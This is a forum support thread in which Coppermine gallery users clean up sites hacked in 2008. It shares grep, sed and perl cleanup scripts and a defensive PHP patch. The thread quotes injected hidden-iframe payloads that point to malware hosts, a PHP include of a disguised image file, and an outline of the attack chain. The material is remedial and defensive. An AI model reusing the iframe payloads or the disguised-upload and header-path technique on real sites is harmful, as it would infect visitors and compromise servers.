parse_dir(".");
?>
Run it, and it will tell you what was infected and was able to fix (or not fix), and what was clean.
Hope it helps some other people as it did me.
-
I did not get a chance to use your code (poster above me) as I just spent quite a while going thru my Gallery directory and rest of my website. After Upgrading to 1418 I believe I have eliminated all those Iframe's. Turns out the Only Files that were messed with were the Ones I left chmod 777. I also noticed that with FileZilla for the "user" the Files that were messed with were named "nobody" which has been explained to me as a WebApache footprint. Anyways I just wanted to post what all I did to fix my website.
First and foremost, I went thru the "yikes, My website was hacked" thread and followed the advice of Going thru my Albums and making sure there were no "php, html and any other executable files". I found that in the "userpics" folder there were folders named "10011" etc, each came with an "index.html" or Index.php" in each of these pages the Iframe code was there, I removed the code and moved on. In the Logs folder under the Gallery root out of 4 pages, 3 had the code, I removed that. I also found that in the Gallery root the Files named "banner & bannermgr.php" also had the code since they were chmodded 777. Note that as I am cleaning these files I changing the chmod to 755.
My CPMFETCH installation was messed with as well from chmod 777. This is why my main page (non cpg related) also had the code attahed for redirect. In the cpmfetch folder the file named "cpmfetch_config.php" was messed with. Best way I can describe it is the code appeared to be Legitamitely calling for an Image like the usual cpmfetch code calls for images. There was a <php> call and then the code linked to the userpics album in gallery and then named images that I never added and then followed by the iframe code. This code, if it makes sense to you (the reader) made it possible for any page that used CPMFETCH to allow for the redirect which in turn gave you a trojan unless you had a good anti virus.
My wordpress installation was safe since the software itself checks for wrong chmods, etc. I still upgraded to the latest build to prevent this from happening again.
By the way, If you find that You cant delete a file with ftp due to 553 permission denied. Just contact your Host and they will fix it. You can also run a cgi script to Fix the user to yourself as the user "nobody" which created the files doesnt allow you as an admin to chmod or delete or even edit for that matter.
I truly hope I didnt leave anything out and hope this info helps you to clean your Online website and files.
-gerrit
-
It touched me too, what i have to do? Is there any answer or menagament just tell: Upgrade your gallery, change your password etc?
-
There is an entire thread that you're replying to that you don't read, but reply anyway? There is a sanitization thread that has been mentioned countless times already. Do as suggested in that thread. You have a notorious record of not respecting board rules; do us all a favor and just respect them now, will you?
-
Sanitization thread? I didn't find it...
http://forum.coppermine-gallery.net/index.php/topic,51671.msg253223.html#msg253223 <-- Should i use it? Will it fix my problem?
-
As suggested I have tried to come up with an article that explains how to thoroughly sanitize your hacked coppermine-driven site. I have started a thread named "Yikes, I've been hacked! Now what? (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)" and locked it on posting to avoid it from getting cluttered similarly to this one. HTH
Joachim
-
Please note the latest version of coppermine covers this issue. If you haven't updated it's your own fault.
Note this describes me working on a FreeBSD server. I suppose it will also work on a Linux Server. Windows I have no idea.
With the recent exploit on mysql and my own concerns for security. I figured I would help out those who are not 24/7 sys admins.
The exploit caused some out there to be hijacked by snot nosed script kiddies who put nasty things in coppermine pages and made life miserable for windoze users who are affected by every virus out there.
The script would be placed in an iframe tag with a wierd numbered picture.
You can find by going to your coppermine directory and running this command:
grep -r 'iframe src' *
If you see something like this:
albums/userpics/10001/45563131x.jpg:echo <iframe src=\"http://cdpuvbhfzz.com/dl/adv598.php\" width=1 height=1></iframe>
It could be bad.
You could also discover it by doing this:
lynx -dump http://foo.com/copperminedirectory/thumbnails.php?album=XXX (where XXX is the number of an album)
Lynx is a *nix based text browser.
You would see in the output something like this:
References
Visible links
1. http://flboioawone.com <-- not a real link. The gibberish type URL is what you are looking for.
What you want to make note of is the numbered .jpg (45563131x.jpg shown under the grep command) and the wierd url shown under the lynx command.
Both of these would be signs that someone who still lives in mom's basement exploited a vulnerability.
You job is to remove them.
How do we do that.
Coppermine has a nice shell script.
#!/bin/sh
grep -rl '<iframe src="h' . > /tmp/l
for i in $(grep '\.php$' /tmp/l); do
cp $i $i.corr
sed "s/<?php echo '<iframe.*<\/iframe>'; ?>//g" $i.corr > $i
done
for i in $(grep '\.html\?$' /tmp/l); do
cp $i $i.corr;
sed 's/<iframe src="h.*<\/iframe>//g' $i.corr > $i
done
for i in $(cat /tmp/l); do
test -f $i.corr && rm $i.corr || echo TODO: $i
done
But you will note that I needed to modify mine
I had 'h in my iframes not "h. So I had to modify the script a little.
Save the script in your coppermine directory with a nice name like dieiframe and chmod +x then run ./dieiframe and see what the results are.
Run grep -r 'iframe src' * to be sure.
You can also rm -i 45563131x.jpg where ever you find it but that can be tedious. (not your number may be different).
You should also change your login password for admin and users just to be safe.
Sincerely,
Brendhan
-
correcting a typo:
You can also rm -i 45563131x.jpg where ever you find it but that can be tedious. (not your number may be different).
Should read
You can also rm -i 45563131x.jpg where ever you find it but that can be tedious. (note your number may be different).
Sincerely,
Brendhan
-
Thanks for your readiness to share.
Why this is not valid: the iframe injection is the payload of the hack - it will/may differ, as the attack pattern of the hack varies. Might work for you, may or may not work for others. Merging with the thread that deals with the hack.
-
OMG :( It didn't help! I did what you told:
Upgrade to 4.18 and then do things in "Yikes, my sites has been hacked!"
and now look: http://gallery.tatushow.com/ :( There's still this stupid iframe with viruses! :(
-
And i still can't upload the pictures..
-
Upgrade to 4.18 and then do things in "Yikes, my sites has been hacked!"
surely not. Sanitize your install by looking in the album folder for unexpected files (.zip files etc...) and for infected files (look in all files if you have the virus code who start with <iframe>.
They are plenty threads dealing with this problem.
-
Upgrade to 4.18 and then do things in "Yikes, my sites has been hacked!"
No, that's not what I said. The thread "Yikes, my sites has been hacked" contains all instructions you need. If you do exactly as suggested there, the upgrade will be performed and your site will be sanitized. Guaranteed. You failed to do as suggested there. Nobody said that you need to upgrade and then perform "Yikes". See how you read advice? Read it carefully.
-
I really read it carefully, i did all things many times to be sure! i read it 32232323232 times to be sure! I do everything word by word... After upgrading there weren't mistakes, so i "include" subfolders, and i checked all folders, i deleted 45563131x.jpg + iframes and it's still there! :(
-
OMG:( So what i have to do now? If i upgraded that...? :(
-
i read it 32232323232 times to be sure! <snip> i deleted 45563131x.jpg + iframes and it's still there! :(
Now you're just being sarcastic, which doesn't lend people's sympathy to your cause...
-Tim
-
I posted it without reading last post, sorry... now i realised... So i upgraded my gallery without firstly doing "Yikes, my site has been hacked"... What i have to do now to safe my gallery? :(
-
I posted it without reading last post, sorry... now i realised... So i upgraded my gallery without firstly doing "Yikes, my site has been hacked"... What i have to do now to safe my gallery? :(
Same thing that you've been told over and over and over (perhaps 32232323232 times): READ and FOLLOW the information in "Yikes, my site has been hacked". There are no shortcuts, there are no magic cures.
-Tim
-
But it will make sense? Because you know, i've upgraded my gallery to 1.4.18 FIRST, and then i did Yikes, my site has been hacked... So there's nothing bad? If i do things which were written in Yikes, my sites been hacked, then it will work?
-
Yes, as you have been told now several times. ::)
Now stop whining and just do as suggested >:(. If you're not able to perform this simple set of instructions, hire someone to do the job for you, as suggested in "Yikes" as well.
-
OOOKKK :D Sorry for interrupting... :( So now i'll do this, even if my gallery was upgraded...
-
Hello. I use coppermine-gallery in 2 sites and it is hacked for second time in three weeks. The first time i upgraded to 1.4.17. Now, it is again hacked on both sites. In one of these, everything is hacked (all the pages, forum, guestbook, gallery) with the iframe tag. I will restore the whole site and upgrade the gallery to 1.4.18. But then, will the gallery be safe or we could have problem again? Is it sure, that 1.4.18 is not vulnerable?
-
Hello. I use coppermine-gallery in 2 sites and it is hacked for second time in three weeks. The first time i upgraded to 1.4.17. Now, it is again hacked on both sites. In one of these, everything is hacked (all the pages, forum, guestbook, gallery) with the iframe tag. I will restore the whole site and upgrade the gallery to 1.4.18. But then, will the gallery be safe or we could have problem again? Is it sure, that 1.4.18 is not vulnerable?
Read http://forum.coppermine-gallery.net/index.php/topic,51927.0.html (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)
And yes 1.4.18 covers the issue. You should also change your passwords.
Sincerely,
Brendhan
-
Hi,
I have installed coppermine 1.4.10 and It was working fine, but now I don't know what happened because when I open the page: http://www.astrocaat.it/cpg1410/index.php it wants to connect to other site and friends said me that their antivirus detect a virus in this page.
I don't know how resolve the problem, I put on the website the page index.php that I had on my computer but is the same, I haven't an actual backup of the Gallery to put on the website.
Have you seen this problem before ? Can you give me any suggestion ?
Thanks in advance,
Luz Marina
-
Have you seen this problem before ?
yes
Can you give me any suggestion ?
yes, search the board and find many threads dealing with this problem
Annoucement thread:http://forum.coppermine-gallery.net/index.php/topic,51882.msg251503.html#msg251503 (http://forum.coppermine-gallery.net/index.php/topic,51882.msg251503.html#msg251503)
Hack thread: http://forum.coppermine-gallery.net/index.php/topic,51671.0.html (http://forum.coppermine-gallery.net/index.php/topic,51671.0.html)
Sanitization thread: http://forum.coppermine-gallery.net/index.php/topic,51927.0.html (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)
-
A little shell (/bin/sh) script to clean up that... Not better than capecodgal's one but very simple to use if you have shell access or /bin/sh cgi capabilities.
Use it on your web's root.
This one wasn't doing it for me, so I made a one-minute perl script to do it :
#!/usr/bin/perl -w
print "Searching for files in $ENV{PWD}\n";
print "This could take minutes to hours to look through all your files for the hack. Hang tight.\n";
$files = `grep -irl "iframe src='\&" .`;
chomp $files;
unless ($files) { print "no hacked files found. exiting.\n"; exit; }
print "Done. Files w/ the hack (probably) :\n ";
@files = sort split(/\s+/,$files);
foreach my $f (@files) {
print " $f\n";
}
print "starting to clean them up ... Backups will be saved as <FILE>.bad. Delete all the .bad files after
making sure this script worked ok.\n";
foreach my $f (@files) {
print "$f...\n";
rename($f,"$f.bad");
open (FROM,"<$f.bad") or die;
open (TO, ">$f") or die;
# slurp up whole file into memory
{ local $/=undef;
$from = <FROM>;
}
# <?php
# if (file_exists("/home/max/public_html/pix/albums/userpics/45563131x.jpg")) {
# include("/home/max/public_html/pix/albums/userpics/45563131x.jpg");
# } else {
# echo "";
# }
# ?>
# assume that the bad chunk comes after the real php header
# true in my hacked case
$from =~ s/(.*<\?php.*\/?>.*)<\?php.*iframe src=['"]&.*\?>(.*)/$1$2/si;
# <iframe src='http://ccfelomvhk.com/dl/adv542.php' width=1 height=1></iframe>
$from =~ s/<iframe src=['"]&.*<\/iframe>//i;
print TO $from;
}
i'm sure this won't work for everyone either, but it takes care of the php and html inserts on my site (as shown in the comments in the code).
cheers,
-m
-
Two bugs I just found w/ myown script ::)
Change this
$files = `grep -irl "iframe src='\&" .`;
to
$files = `grep -irl 'iframe src="\&' .`;
if your hacked pages have double quotes instead of single in the links (mine had single, so the original was fine)
and change
@files = sort split(/\s+/,$files);
to
@files = sort split(/\s*\n\s*/,$files);
to handle spaces in file names.
-m
-
A caveat (not a bug per se)...
the hack may have messed up all your permissions and so the find command will act funny if you're not root.
Here's some commands to fix your permissions (to be run from your web / public_html directory ) :
chmod -R 644 *
find . -type d | xargs chmod +x
This will make all files readable by everyone, but only writable by you. Then proceed to run my fix script above. You may need to run the above multiple times. This is due to the -R option failing to recurse directories when they are not yet readable by you. Chicken and Egg problem.
-m
-
This may or may not work, depending on server setup. Most users don't have shell access anyway.
Bottom line: permissions may be changed by the attacker. You should re-apply the permissions as suggested in the docs.
-
Thanks for your answer. I will try to follow the suggestions of this links and upgrade Coppermine.
Luz
-
Merged with thread that discusses the virus and resolutions.
-
I am still cleaning up my servers after the recent hack and thought I would share the files I have found in hopes that others will post theirs so I can search for them too:
- *142739_298w3*
- *0xv0*
- *45563131x*
- *5563131x*
More please...
-
No, that doesn't make sense. As I suggested many times over: the payload of the hack may differ. Sou really have to sanitize your gallery as suggested in the Yikes thread - everything else is just nonsense.
-
It appears one of my installation versions (grabbed from an old server) is affected too. I wonder if it is possible to detect the bastard using his IP? Probably not because he is using some IP hiders. Has anyone ever detected and caught an attacker? I was successful once but then... well, it was so obvious that I had no problem detecting him...
Then, another idea. Is there anything Verisign (the manager of .com) can do about it? We will never stop these attacks unless we really fight.
-
No. How could you "catch" an attacker? How could you "fight" them? The only thing you can do is keep your gallery up to date in the future. I have already posted a reply to a similar request, see http://forum.coppermine-gallery.net/index.php/topic,51671.msg252539.html#msg252539
-
A friend of mine asked me to help him diagnose this problem on his site, since I'm a programmer. Conveniently, we had all the logs, so it was pretty straightforward. Our attacker wasn't quite as smart as some here, but I suspect they're all using the same basic technique:
[list=1]
- Find an SQL injection vulnerability. Coppermine has had a few of these, and while the authors are working hard to remove them, more may yet exist.
- Create PHP code that does something bad. Rename it to .jpg or .zip or something Coppermine will allow, and upload it just like any other normal "picture".
- Coppermine trusts the database to be accurate, so inject data into the database to convince Coppermine to run the uploaded "picture". Specifically, change "config/custom_header_path" or "config/custom_footer_path" to point to the uploaded file.
- Load the site in your web browser. Your uploaded code now can do anything PHP code on the server, which, depending on the server's file permissions, might be nothing or everything.
You can stop the attacker by breaking any of the steps above. My solution is to break the connection between step 3 and step 4: Any custom page headers/footers should never be located in the albums/ directory with a properly-configured site, so we prohibit inclusion from that directory or anything under it. The solution I added to his site is three additional lines to cpg_get_custom_include() in "include/functions.inc.php", as depicted below:
/**
* cpg_get_custom_include()
*
* @param string $path
* @return
**/
function cpg_get_custom_include($path = '')
{
global $CONFIG;
$return = '';
// check if path is set in config
if ($path == '')
{
return $return;
}
// anti-hacking check: make sure that the included file is
// not in any visitor-alterable directories (i.e., under any
// directory named "albums"). If any security vulnerabilities
// are found anywhere else in the code, this check will still
// keep the attacker from using this common attack venue.
if (preg_match("/\/albums\//", $path) || preg_match("/^albums\//", $path))
{
return $return;
}
// check if the include file exists
if (!file_exists($path))
{
return $return;
}
ob_start();
include($path);
$return = ob_get_contents();
ob_end_clean();
// crude sub-routine to remove the most basic "no-no" stuff from possible in
// could need improvement
$return = str_replace('<html>', '', $return);
$return = str_replace('<head>', '', $return);
$return = str_replace('<body>', '', $return);
$return = str_replace('</html>', '', $return);
$return = str_replace('</head>', '', $return);
$return = str_replace('</body>', '', $return);
return $return;
}
Note that this solution still doesn't 100% stop this particular attack, because there are ways to get around this using other software that may be installed on the site. For example, if you have another image gallery package installed that uploads to a directory that isn't named "albums", you can upload a file via that program and then include from there. Still, that's difficult, and only works on a site-by-site basis, so this addition is pretty good for hardening Coppermine. (A good future addition might be to allow header/footer inclusion only from the Coppermine directory and its subdirectories, but that might break some sites that depend on external content inclusion.)
I would encourage the Coppermine developers to include this code in the next release, since it's a proactive security measure: Even if SQL-injection vulnerabilities are discovered in the future, this exact attack still won't work.
Enjoy! :)
-
Note --- this particular solution I gave only works if your upload directory is named "albums". Coppermine is flexible, and you can rename "albums" to anything you want, so if your "albums" directory is named something else, you'd better alter the code accordingly. If you have any other writable folders on your server, too, you should include those as well.
A better solution yet would be an inclusion whitelist --- specifically, "config.inc.php" would contain a list of directory paths from which files may be legally included. That would complicate adding custom headers and footers a little bit, but it would be worth the security effort.
(Sadly, all the directory paths are stored in the database instead of "config.inc.php". I would encourage the developers to move the directory paths out of the database and into "config.inc.php", because all database data is inherently untrustworthy from a security perspective. If another SQL injection is found --- and one probably will be eventually no matter how carefully you check your code for holes --- all the attacker has to do is rename "albums" in the database to some other directory that's known to be server-writable, and then this attack works again. cpg_get_custom_include() can't simply check against the current name of "albums" either, because that's in the database and is inherently suspect data. If the path was stored in "config.inc.php" instead, it would be unwritable via a SQL injection, and would thus be able to be checked against even without hard-coding its name.)
-
phantom-inker
Thank you for taking the time to write that up (as with everyone else) that was very helpful :)
-
Files can be modified by SQL injection too you know. An attacker could just as easily install a malicious plugin once they have admin rights - checking custom headers won't stop that.
-
Hello! I have done what you told, and this iframe is deleted! But i still can't upload pictures... Could you help me? http://gallery.tatushow.com
-
Hello,
I can't use my album! some trojan on it..
How can I remove the trojan from my online gallery?
http://jacobin.us/onlinegallery1/cpg1441/index.php
-
Hello! I have done what you told, and this iframe is deleted! But i still can't upload pictures... Could you help me? http://gallery.tatushow.com
Start a new thread on the upload support section following the instructions in the docs.
-
Hello,
I can't use my album! some trojan on it..
How can I remove the trojan from my online gallery?
http://jacobin.us/onlinegallery1/cpg1441/index.php
Yikes, I've been hacked! Now what? (http://forum.coppermine-gallery.net/index.php/topic,51927.0.html)
-
Files can be modified by SQL injection too you know. An attacker could just as easily install a malicious plugin once they have admin rights - checking custom headers won't stop that.
There are a lot of things you can do with SQL injection, but so far as I know, direct modification of the filesystem isn't one of them. Coppermine, however, has a tendency of trusting the contents of the database, and of keeping things in there that (from a security perspective) should have been hard-coded somewhere, directory pathnames especially. So it wouldn't surprise me if gaining access to the database would allow an attacker to do things that Coppermine really shouldn't allow anyone, even a so-called "administrator," to do in the first place.
I'm a degreed computer scientist, I've been writing code for 20+ years, I worked on-and-off as a Un*x sysadmin since 1995, and I've written nearly two million lines of code in my life; I've seen systems that were secure and systems that were hacked, and in every case, the hacks boiled down to (A) the programmer making a mistake (which includes the programmer being too trusting) or (B) the users being too trusting or (C) the code having bugs. You can't really change (B) no matter how hard you try, and no-one can completely stop (C), so the only thing you can do to stop attackers is get very defensive about (A). Yes, I've written PHP too, and I know PHP doesn't make it very easy to write secure code: for example, the preg_match /D flag drives me nuts, and the fact that you can't trust the value of "PHP_SELF" is just silly. But if you don't code defensively --- which means assuming your code can and will be attacked at every turn --- your code can and will be broken.
Anyway, if adding an administrative user entry in the database is all that's needed to be able to install malicious code, Coppermine will never be secure --- the database should always be considered an untrustworthy data source, and everything in it should be checked, verified, analyzed, and validated just as though it came from the user (because there's at least a decent chance that it actually did). At a minimum, that means moving things that need to be trustworthy outside the database; in my professional opinion, several more things should be hard-coded in your "config.inc.php" than currently are: The name of the "albums" directory, for example, and "userpics". You would only change those when you first install Coppermine anyway, and when you're installing Coppermine, you already have server access to change them! Keeping that kind of information in the database is pointless and just makes attacks easier and more fruitful. But if the database is treated by your code with the same skepticism as data that comes from the browser itself, all an SQL injection can do --- if the attacker finds one --- is maybe alter some of the data, but never alter the site.
Checking the custom headers/footers was an easy band-aid for this attack, and I posted this information because it may be beneficial for people who want to stem this particular plague. It is by no means a comprehensive security solution --- just a way of buying some time.
If you want to limit SQL injections further, you may wish to use a proper database-wrapper layer that checks and validates all data going to and from the database: A lightweight design like your cpg_db_query() is inherently prone to security problems, because it spreads security checks throughout the program instead of centralizing them whenever possible.
In summary, I know that everything I'm describing may require changes in Coppermine, and some of the changes may be nontrivial. But please don't think I'm attacking you guys: We're both on the same side here, and I know far too well that security is hard, and I can see by the Changelog that you're trying, but more work is needed. Security, both reactive and proactive, is an essential consideration these days; we're living in an age where it's not if your code will get attacked but when and how often, which means that security considerations need to be front-and-center in every last line of PHP you write.
-
SELECT ... INTO OUTFILE allows writing to the filesystem.
I don't see how having something in a file helps security. If Coppermine can create and edit the file an attacker can too.
How do you propose information can be 'checked, verified, analyzed, and validated' when only the database knows the information in the first place? If there is a user entry in the database how can Coppermine know if it is valid or not? How can that work with a 3rd party bridge?
Coppermine was created a long time ago with no real emphasis on security. Each release we improve things (eg. Coppermine 1.5 (dev version) has a wrapper around user supplied data) but there is still a long way to go.
-
@phantom-inker: I appreciate you taking the time to share your thoughts with us. As Nibbler suggested, we are actually trying to improve things while developing cpg1.5.x (from a dev's perspective, cpg1.4.x is dead and will only be patched if needed in terms of security holes or bugs, bit not in terms of overall architecture). However, this discussion should not be lead within this very thread, as newbies might mistake our discussion about potential (yet-to-be-exploited ;)) flaws with actual issues that are already known and that could be fixed easily. This being said, you're welcome to start a new thread on the misc board with your proposals and ideas.
Cheers
Joachim
-
SELECT ... INTO OUTFILE allows writing to the filesystem.
That ability doesn't help an attacker as much as you think. Per the MySQL reference manual: "The SELECT ... INTO OUTFILE 'file_name' form of SELECT writes the selected rows to a file. The file is created on the server host, so you must have the FILE privilege to use this syntax. file_name cannot be an existing file, which among other things prevents files such as /etc/passwd and database tables from being destroyed." This means that while "INTO OUTFILE" can create new files --- if and only if the user has FILE privilege --- it still can't overwrite settings in something like "config.inc.php," which effectively makes "config.inc.php" data that can't be changed by an attacker --- "config.inc.php" is the anchor of your sea of data, and nails down things that shouldn't be allowed to float away.
I don't see how having something in a file helps security. If Coppermine can create and edit the file an attacker can too.
As I pointed out before: If the file already exists, and is rw-r--r-- or something like it, it's data that Coppermine itself --- that the web server, and thus any attacker --- can't edit. If all of your most vital configuration settings are stored in a file instead of in the database, the attacker can't change them even with an SQL injection, and, as in the case of the page headers, that can be the difference between executing unauthorized code and working fine.
How do you propose information can be 'checked, verified, analyzed, and validated' when only the database knows the information in the first place? If there is a user entry in the database how can Coppermine know if it is valid or not? How can that work with a 3rd party bridge?
Not all of what the database knows is uncheckable. In fact, a lot of what's in there can usually be validated in any web app. Again, consider the page headers: Let's say you want to leave that setting in the database. There are a number of places where the page-header file itself could be stored, and a number of places where no sane site designer would ever put it, like "albums/". Allowing it to exist in those places is just begging for a security breach. Allowing it to have ".jpg" or ".zip" as a file extension is just as bad.
Any paths or names in the database can usually be checked against the contents of the filesystem; internal references in the database can often be checked against each other without adding significant numbers of additional queries; and many things that can't be absolutely checked can have simple "sane" vs. "crazy" heuristics applied to them --- like making sure that a field that's supposed to contain an integer really contains an integer and not an arbitrary string, or making sure that a string that's supposed to be a valid filename doesn't contain newlines. preg_match() and file_exists() are your friends --- and your first line of defense against the bad guys.
I check nearly all values in the web software I write for my clients; I don't see any fundamental reason why you can't do the same.
Coppermine was created a long time ago with no real emphasis on security. Each release we improve things (eg. Coppermine 1.5 (dev version) has a wrapper around user supplied data) but there is still a long way to go.
I understand that, and it was actually pretty obvious just reading the code. And I know all too well how much of a pain in the @$$ upgrading and patching a piece of cranky old software can be. But we're at the stage now where security is no longer optional in software: Coppermine already has a bit of a reputation as being "leaky" in security circles, and the last thing you want is for the general public to start avoiding it because of security issues. Your upgrades have mostly been reactive, but security is not just reactive: It can be proactive and preventive too. You need to think like your attackers and foil them before they have a chance to abuse your code.
I shudder to think whether Coppermine is vulnerable to things like rainbow-table attacks or XSS attacks or man-in-the-middle attacks. But, then, I've got code vulnerable to rainbow tables and man-in-the-middle too, so nobody's perfect ;D
@phantom-inker: I appreciate you taking the time to share your thoughts with us. As Nibbler suggested, we are actually trying to improve things while developing cpg1.5.x (from a dev's perspective, cpg1.4.x is dead and will only be patched if needed in terms of security holes or bugs, bit not in terms of overall architecture). However, this discussion should not be lead within this very thread, as newbies might mistake our discussion about potential (yet-to-be-exploited Wink) flaws with actual issues that are already known and that could be fixed easily. This being said, you're welcome to start a new thread on the misc board with your proposals and ideas.
I'd be happy to do so, but you locked down the misc board for new threads ;)
On a more serious note, if you can split this thread and move these postings there, that'd probably be best.
-
I'd be happy to do so, but you locked down the misc board for new threads ;)
Nope, that's not the case. It is open. I was refering to the sub-board cpg1.4 miscellaneous (http://forum.coppermine-gallery.net/index.php/board,54.0.html). Only yesterday, 8 new threads have been created there.
Anyway, I tried to do as you suggested and split the thread accordingly, but failed, since part of your postings should reside in this thread and some in the new one. Let's start in the suggested new thread from scratch, OK? Please start it in the sub-board I proposed.
-
My coppermine-site is hacked. When I start the site, in the comment-line at the bottom the occurs an link to an website-adress that starts with: ccfelomk......com.
In the code of the page appears the line:
<body>
<iframe src='http://ccfelomvhk.com/dl/adv542.php' width=1 height=1></iframe>
<table ......
in which file can find I these first rules?
-
http://forum.coppermine-gallery.net/index.php/topic,51927.0.html
-
I have my Coppermine Gallery on someone elses server. Their site was hacked. This is the message I got.
someone got in somehow and started sending emails to all the members asking their personal information, such as credit cards etc, and my server since it's really good noticed really fast, and turn off the site
This is the message I got on the conclusion of where the problem is.
I just checked your gallery, and you do not have the latest version, the lastest version is 1.4.18, and your version is 1.4.16, and you need to update that to the newest version. I just talked to the server and they told me that most likely it came from there, but they can't be sure where the hack came from. They said that the coppermine gallery oldest versions are having a lot of problems and a lot of galleries are being hacked. So, we will need to figure out a way to update that as soon as possible, because we can't turn on JJJ-Fans and your gallery back on until your gallery is up to date with the 1.4.18 version.
My Gallery was only installed about a month ago. All the photos that uploaded were uploaded from my desk top and not a FTP. Can someone tell me how to get the 1.4.18 version?
-
It's on the downloads page.
-
After a few days I reactivate my cpg with the actuell Version and the old database and found following under my settings:
custom_header_path: albums/userpics/10001/5563131x.zip
The album doesn´t exist and so I delete the database row under pictures. Hope the hacker have no access to my site.
Did anyone know something about this
-
You should follow the instructions in the sanitisation thread - delete any suspicious .zip files and clean up your config settings.
-
Hi guys,
Yes 1st post but hope I'm not repeating and can maybe help?
I have cpg1.4.18 on one of my sites and just today received an upload notification for 2 .gz files with tags and comments and name filled with "asdasd..".
I knew these were unlikely to be genuine due to the limited computer skills of the sites contributers so I deleted them.
I guess seeing this thread I (so far / Touch wood) have avoided this attack as a result.
HTH.
Vince
-
The only php app that was compromized on my server was coppermine. I would assert that uploading files from other websites "feature" ala URI upload is the culprit to this absolute mess.
-
No. That's nonsense. read the thread here, read the announcement for the cpg1.4.8 release and read the sanitization thread.
-
Hi,
I want to know how I can prevent myself from getting this virus again?
I have:
1. Removed all instances of affected JPEGs
2. Rewritten all coppermine source files with the latest version.
3. Disables any kind of uploads for registered users.
Is there anything I'm missing?
-
hi all,
i have some problem like this board,
well, i haven't any 10002-20033..etc users , but google send me hit like that "/thumbnails-topn-20022-page-686.html" (http://sturly.com/spamlinks) ,
how can i redirect to 404 to that pages or stop that spam pages, anyone help me,
thx,
best regards
-
Your issue differs (i.e. the attack is different), but the solution remains the same: read the "Yikes" thread that has been refered to so often. Locking.